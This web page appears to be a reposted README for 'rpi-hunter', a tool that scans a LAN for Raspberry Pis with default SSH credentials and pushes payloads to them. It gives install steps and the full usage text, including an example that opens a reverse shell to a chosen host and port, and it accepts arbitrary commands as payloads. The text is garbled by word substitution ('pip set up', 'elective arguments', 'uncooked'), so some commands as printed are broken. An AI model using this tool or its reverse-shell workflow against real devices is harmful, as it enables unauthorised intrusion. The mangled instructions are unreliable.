Rpi-Hunter – Automate Discovering And Dropping Payloads On LAN Raspberry Pi’s Via SSH

0
6
Rpi-Hunter - Automate Discovering And Dropping Payloads On LAN Raspberry Pi's Via SSH

Automate discovering and dropping payloads on LAN Raspberry Pi’s by way of ssh.

rpi-hunter is helpful when there are a number of Raspberry Pi‘s in your LAN with default or identified credentials, so as to automate sending instructions/payloads to them.

GUIDE:

Installation

  1. Install dependencies: sudo pip set up -U argparse termcolor and sudo apt -y set up arp-scan tshark sshpass
  2. Download rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
  3. Navigate to rpi-hunter: cd ./rpi-hunter
  4. Make rpi-hunter.py executable: chmod +x rpi-hunter.py
  • One line variant: sudo pip set up -U argparse termcolor && sudo apt -y set up arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Usage

utilization: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

elective arguments:
  -h, --help         present this assist message and exit
  --list             List accessible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP vary to scan
  -f IP_LIST         IP checklist to make use of (Default ./scan/RPI_list)
  -u UNAME           Username to make use of when ssh'ing
  -c CREDS           Password to make use of when ssh'ing
  --payload PAYLOAD  (Name of, or uncooked) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If utilizing reverse_shell payload) Host for reverse shell
  -P PORT            (If utilizing reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, however do not execute it
  -q                 Don't print banner
  • Example utilization: ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
  • Run ./rpi-hunter.py --list to see avalible payloads.
  • Payloads might be specified by the payload title from --list or as uncooked enter
    • ex. --payload reverse_shell or --payload [your cli command here]

MoreTip.com

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.